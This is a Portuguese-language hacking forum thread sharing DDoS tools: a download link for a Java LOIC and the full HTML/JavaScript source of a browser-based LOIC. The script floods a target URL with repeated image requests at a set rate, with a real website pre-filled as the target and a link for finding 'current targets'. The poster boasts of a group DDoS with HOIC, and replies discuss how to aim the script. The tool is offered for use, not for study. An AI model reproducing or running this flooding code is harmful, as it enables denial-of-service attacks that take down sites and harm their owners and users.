Resultados 1 a 4 de 4
  1. #1

    Lightbulb Loic em Java e Loic em JS

    Boa noite amigos, estava a um bom tempo sem entrar no fórum.
    Enfim, observei que muitas pessoas estão procurando por LOIC em Java e LOIC em JS.

    Realizei alguns testes também com a HOIC e digo que com um grupo de 20 pessoas conseguimos realizar um DDOS "em um de médio porte", mas esta ferrramente acusa "Hacking Tools" em alguns anti-vírus e como o DDOS foi apenas para fins de teste não vou compartilhar, caso alguém queira é só entrar em contato.

    O Loic em Java - http://www.mediafire.com/?9rfblvej3ycd8dt

    Lembrando que o LOIC em Javascript você tem que alterar algumas informações de acordo com o site, atenção para a linha:

    Código:
    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
    O Loic em Javascript
    Código:
    <!DOCTYPE html>
    <html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> 
        <title>JS LOIC v0.2 [BR]</title> 
        <style type="text/css"> 
        body {
            
            width:100%;
            margin:auto;
            background-color:#B7CC1E; 
            color:#FFFFFF;
            font-family:Verdana, Geneva, sans-serif;
        }
        #p1{
         width:240px; 
         height:100px; 
         position:absolute;
         left:500px;
        }
        #img {
            width:490px;
            height:331px; 
            position:absolute;
        }
        
        #header {
        width:900px;
        margin:auto;    
        }
            
        #wrapper {
        position:absolute;
        width:100%;      
        height:100%;
        background-color: #1E4964;    
        margin:auto;
            }
        #p2 {
        width:240px;
        height:100px; 
        position:absolute; 
        left:780px;    
        }
        #fireButton {
        background-image:url(www.calgarc.com/images/btnl.png);
        }
        </style> 
    </head> 
    <body> 
     
     <div id="header"> 
    <h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">LOIC</abbr> v 0.2 [BR]</h1> 
    <h2 style="font-size:15px;">Clique no botão azul e aguarde</h2> 
      </div> 
      
      
      
      
     
    <div id="wrapper"> 
     
     
    <div id="table"> 
     
     
    <div id="img"> 
      <img alt="LOIC" src="./JS LOIC v0.2 [BR]blank_files/loop.png"> 
    </div> 
     
     
    <div id="p1"> 
     
         <fieldset style="width:100%; height:100%; border:none;"> 
            <label>Passo 1. Selecione o alvo:</label> 
            <label>URL: <br> 
            
            <input name="targetURL" id="targetURL" style="width:100%;" value="http://www.foxlounge.com.br">
          </label> 
            <small>Para descobrir o alvo atual visite: <a href="http://anonops.net/" style="color:#FFF;">http://anonops.net/</a></small> 
     
        </fieldset> 
    </div> 
     
     
     
    <div id="p2"> 
         <fieldset style="width:100%; height:100%; border:none;"> 
           <label>Passo 2. Pronto?</label> 
            <button id="fireButton" style="border:none; color:#1E4964; width:240px; height:70px;">COMEÇAR ATAQUE!!!</button> 
        </fieldset> 
    </div> 
     
     
     
    <div id="p3" style="width:240px; height:160px; position:absolute; left:500px; top:150px;"> 
         <fieldset style="width:100%; height:100%; border:none;"> 
            <label>Mensagem e velocidade</label> 
            Passo 2. se desejado selecione a velocidade e mensagem
             <label>Pedidos por segundo: <input id="rps" style="width:40px;" value="100"></label><br> 
             <label>Mensagem: <br><input id="message" style="width:100%;" value="BOOM HEADSHOT!"></label> 
        </fieldset> 
    </div> 
     
     
    <div id="p4" style="width:240px; height:160px;  position:absolute; left:780px; top:150px;"> 
         <fieldset style="width:100%; height:100%; border:none;"> 
             <label>Status do ataque:</label> 
            <dl> 
                <dt>Enviados:</dt> 
                <dd id="requestedCtr">0</dd> 
                <dt style="opacity: 0.5">Sucesso:</dt> 
     
                <dd style="opacity: 0.5" id="succeededCtr">0</dd> 
                <dt style="opacity: 0 .5">Falha:</dt> 
                <dd style="opacity: 0.5" id="failedCtr">0</dd> 
            </dl> 
        </fieldset> 
    </div> 
     
     
     
    <div id="footer" style="width:900px; height:160px; font-size:14px; position:absolute; top:350px;"> 
    Nos precisamos no seu suporte á <a href="http://wikileaks.ch/" style="color:#FFF">wikileaks</a> deixe a pagina rodando o quanto você puder.  Não se preocupe se falhar.
    <br><br>Original/Creditos: <a href="http://www.calgarc.com/jloic.html" style="color:#FFF">http://www.calgarc.com/jloic.html</a>
    </div> 
     
    </div> 
    </div> 
     
        <script> 
            (function () {
     
                var fireInterval;
                var isFiring = false;
     
                var requestedCtrNode = document.getElementById("requestedCtr"),
                    succeededCtrNode = document.getElementById("succeededCtr"),
                    failedCtrNode = document.getElementById("failedCtr"),
                    targetURLNode = document.getElementById("targetURL"),
                    fireButton = document.getElementById("fireButton"),
                    messageNode = document.getElementById("message"),
                    rpsNode = document.getElementById("rps"),
                    timeoutNode = document.getElementById("timeout");
     
                var targetURL = targetURLNode.value;
                targetURLNode.onchange = function () {
                    targetURL = this.value;
                };
     
                var requestsHT = {}; // requests hash table, may come in handy later
     
                var requestedCtr = 0,
                    succeededCtr = 0,
                    failedCtr = 0;
     
                var makeHttpRequest = function () {
                    
                        if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
                            return;
                        };
                        
                        var rID =Number(new Date());
                        var img = new Image();
                        img.onerror = function () { onFail(rID); };
                        img.onabort = function () { onFail(rID); };
                        img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
                        
                        img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                        requestsHT[rID] = img;
                        onRequest(rID);
                    };
     
                var onRequest = function (rID) {
                        requestedCtr++;
                        requestedCtrNode.innerHTML = requestedCtr;
                    };
     
                var onComplete = function (rID) {
                        delete requestsHT[rID];
                    };
     
                var onFail = function (rID) {
                       // failedCtr++;
                        //failedCtrNode.innerHTML = failedCtr;
                        
                        succeededCtr++; //Seems like the url will always fail it it isn't an image
                        succeededCtrNode.innerHTML = succeededCtr;
     
     
                        delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                    };
     
                var onSuccess = function (rID) {
                        succeededCtr++;
                        succeededCtrNode.innerHTML = succeededCtr;
                        delete requestsHT[rID];
                    };
     
                fireButton.onclick = function () {
                    if (isFiring) {
                        clearInterval(fireInterval);
     
                        isFiring = false;
                        this.innerHTML = "IMMA CHARGING MAH LAZER";
                    } else {
                        isFiring = true;
                        this.innerHTML = "Stop flooding";
     
                        fireInterval = setInterval(makeHttpRequest, (2500 / parseInt(rpsNode.value) | 0));
                    }
                };
     
            })();
        </script> 
     
     </body></html>
    Att,
    Eric Luciano

  2. #2
    Errado, você nao precisa fazer modificações, pelo menos na source que eu tenho, que inclusive é identica ( só muda o titulo e afins ). É uma função, olhe essa parte:

    Código:
    targetURLNode = document.getElementById("targetURL" )
    Ele pega o valor do Edit "targetURL" (pela função getElementById) que a pessoa digita a URL, entao nao precisa tirar esse "targetURL" e por o link do site, pelo menos foi isso que entendi quando voce disse que deveria alterar.
    Delphi4Ever .. s2
    Respeite o seu pai, por mais que você seja um empresário ou o melhor estudante da sua faculdade, lembre-se, você veio do saco dele !

    Twitter

  3. #3
    Citação Postado originalmente por Gu4xinim Ver Post
    Errado, você nao precisa fazer modificações, pelo menos na source que eu tenho, que inclusive é identica ( só muda o titulo e afins ). É uma função, olhe essa parte:

    Código:
    targetURLNode = document.getElementById("targetURL" )
    Ele pega o valor do Edit "targetURL" (pela função getElementById) que a pessoa digita a URL, entao nao precisa tirar esse "targetURL" e por o link do site, pelo menos foi isso que entendi quando voce disse que deveria alterar.
    Não estava me referindo ao targetURL e sim ao "?id", há outras formas para se trabalhar o destino.
    Att,
    Eric Luciano

  4. #4
    oh sim entao foi mal, pelo menos no final eu disse que foi o que eu tinha entendido ( era o mais obvio ), mas agora sei do que tu estava falando.

    []'s
    Delphi4Ever .. s2
    Respeite o seu pai, por mais que você seja um empresário ou o melhor estudante da sua faculdade, lembre-se, você veio do saco dele !

    Twitter

Tags para este Tópico

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •